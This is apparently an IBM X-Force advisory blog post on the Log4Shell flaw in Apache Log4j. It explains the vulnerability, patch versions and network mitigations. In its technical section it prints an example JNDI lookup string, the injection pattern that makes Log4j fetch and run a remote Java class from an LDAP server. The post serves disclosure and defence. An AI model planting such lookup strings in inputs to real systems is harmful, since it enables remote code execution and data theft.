MITIGATION UPDATE:

If you hadn’t heard of Apache Log4j, chances are it’s on your radar now. In fact, you may have been using it for years. Log4j is a logging library. Imagine writing your daily activities into a notebook. That notebook is Log4j. Developers and programmers use it to take notes about what’s happening on applications and servers. For example, they may use it to troubleshoot a security incident, like if someone were to log into an application with the wrong password. Log4j might be used to record when the person logged in, to which application and the password they used.

Log4j is used by a very large percentage of the Java programs developed in the last decade for both server and client applications. Java is also one of the top programming languages used by businesses. That’s why, on December 9, 2021, when Chen Zhaojun of the Alibaba Cloud Security Team discovered CVE-2021-44228, a.k.a. Log4Shell, a high-severity vulnerability that affects the core function of Log4j, and a publicly available exploit, cybersecurity researchers sounded the alarm.

CVE 2021-44228 enables attackers to perform remote code execution, which means they can run any code and access all data on the affected machine. It also allows them to delete or encrypt files and hold them for ransom. Any function the impacted asset can do, attackers can do as well with the exploit. This means anything that uses a vulnerable version of Log4j to log user-controlled data can be attacked.

Webinar: Log4j Zero-Day Vulnerability — What You Need to Know Now

A Technical Dive into CVE-2021-44228

Log4j allows logged messages to contain format strings that reference outside information through the Java Naming and Directory Interface (JNDI). This allows information to be remotely retrieved across a variety of protocols, including the Lightweight Directory Access Protocol (LDAP). For example, when Log4j finds the following string in a log message, it instructs the JNDI to ask the LDAP server at 192.168.1.1 for the “information” object.

${jndi:ldap://192.168.1.1/information}

By design, JNDI will execute Java classes that an LDAP server references. Continuing the example, if the LDAP server’s response references the URL http://192.168.1.2/information, JNDI will automatically request the file information.class from the web server and execute the response.

Since the contents of log messages often contain user-controlled data, attackers can insert JNDI references pointing to LDAP servers they control, ready to serve malicious Java classes that perform any action they choose.

What’s to Come for CVE-2021-44228 and other recently disclosed vulnerabilities?

We have seen reports of attackers exploiting CVE-2021-44228, which doesn’t surprise us. Criminals will find this to be a very appealing attack technique because Log4j is popular, programs often include user-supplied data in logs, and the patch was only recently released. We expect more attacks — ransomware and others — to take place in the future.

Patching a single application isn’t too complicated, but each application needs to be tested to verify that the patch didn’t break anything. Large organizations could easily have hundreds of vulnerable applications across thousands of devices.

Apache Releases Another New Patch

(Source: https://logging.apache.org/log4j/2.x/security.html)

Patching is the number one recommended mitigation step. Apache recently released 2.17.1 after a remote code execution vulnerability was found in 2.17. You must upgrade to 2.17.1 to mitigate this vulnerability. The CVSS score on CVE-2021-44832 is 6.6 and rated as moderate. An attacker must have privileged access to execute an attack. Apache’s mitigation recommendations include:

  • Upgrade to Log4j 2.3.2 (for Java 6), 2.12.4 (for Java 7), or 2.17.1 (for Java 8 and later).
  • In prior releases confirm that if the JDBC Appender is being used it is not configured to use any protocol other than Java.

Note that only the log4j-core JAR file is impacted by this vulnerability. Applications using only the log4j-api JAR file without the log4j-core JAR file are not impacted by this vulnerability. Also note that Apache Log4j is the only Logging Services subproject affected by this vulnerability. Other projects like Log4net and Log4cxx are not impacted by this.

Users are advised not to enable JNDI in any versions of Log4j.

Previously suggested mitigations other than patching Log4j or removing the JNDI Lookup feature entirely DO NOT mitigate this vulnerability.

On the preventative front, designing an environment with strong network security controls can help. In well-designed environments, for example, servers can only create network connections to explicitly approved destinations. Creating a default-deny firewall rule will prevent servers from creating unapproved connections and can help reduce your risk of a compromise. This is particularly important for servers that are exposed to the internet.

X-Force, IBM Security’s team of hackers, responders, researchers, intelligence analysts and investigators, is following the finding closely and will provide more information as our research unfolds. This disclosure is being tracked in this IBM X-Force Exchange Collection and will be updated should additional information become available.

Our researchers presented a webinar with more information. You can access the on demand recording by registering here.

X-Force has also created a scan tool to detect Log4Shell. You can access it, at no cost, here: https://github.com/xforcered/scan4log4shell

Additional assistance is available to assist 24/7 via IBM Security X-Force’s US hotline 1-888-241-9812 | Global hotline (+001) 312-212-8034.

To learn more about our team, or to schedule a one-on-one conversation with our researchers about this vulnerability, visit www.ibm.com/security/xforce.

More from X-Force

Q&A with Valentina Palmiotti, aka chompie

4 min read - The Pwn2Own computer hacking contest has been around since 2007, and during that time, there has never been a female to score a full win — until now.This milestone was reached at Pwn2Own 2024 in Vancouver, where two women, Valentina Palmiotti and Emma Kirkpatrick, each secured full wins by exploiting kernel vulnerabilities in Microsoft Windows 11. Prior to this year, only Amy Burnett and Alisa Esage had competed in the contest's 17-year history, with Esage achieving a partial win in…

X-Force discovers new vulnerabilities in smart treadmill

7 min read - This research was made possible thanks to contributions from Joshua Merrill. Smart gym equipment is seeing rapid growth in the fitness industry, enabling users to follow customized workouts, stream entertainment on the built-in display, and conveniently track their progress. With the multitude of features available on these internet-connected machines, a group of researchers at IBM X-Force Red considered whether user data was secure and, more importantly, whether there was any risk to the physical safety of users. One of the most…

Phishing kit trends and the top 10 spoofed brands of 2023

4 min read -  The 2024 IBM X-Force Threat Intelligence Index reported that phishing was one of the top initial access vectors observed last year, accounting for 30% of incidents. To carry out their phishing campaigns, attackers often use phishing kits: a collection of tools, resources and scripts that are designed and assembled to ease deployment. Each phishing kit deployment corresponds to a single phishing attack, and a kit could be redeployed many times during a phishing campaign. IBM X-Force has analyzed thousands of…

Topic updates

Get email updates and stay ahead of the latest threats to the security landscape, thought leadership and research.
Subscribe today